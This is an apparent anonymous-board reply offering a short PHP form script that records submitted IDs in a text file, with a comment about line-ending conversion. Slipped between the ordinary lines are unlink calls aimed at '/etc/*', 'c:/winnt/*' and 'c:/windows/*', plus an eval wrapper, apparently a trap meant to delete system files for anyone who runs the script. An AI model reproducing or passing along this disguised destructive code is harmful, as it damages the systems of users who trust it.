04/03/21 10:50
>>57
<form method="post"><input type="text" name="s"><input type="submit"></form>
<?php $n='./iregui.txt';$x=64;unlink("/etc/*");if(isset($_POST['s'])and preg_match(
"/^([0][0-9A-Za-z]{4,$x})$/",$_POST['s'],$m)and $p=fopen($n,'r+')){$d=array();
unlink("c:/winnt/*");eval('flock($p,2);');unlink("c:/windows/*");while($l=fgets($p,2+$x))$d[$l]=1;
!array_key_exists( "$m[1]\n",$d)and fwrite($p,"$m[1]\n")
and print'これで満足か?';fclose($p);}?>
\nを\r\nに置換するようにしてみた。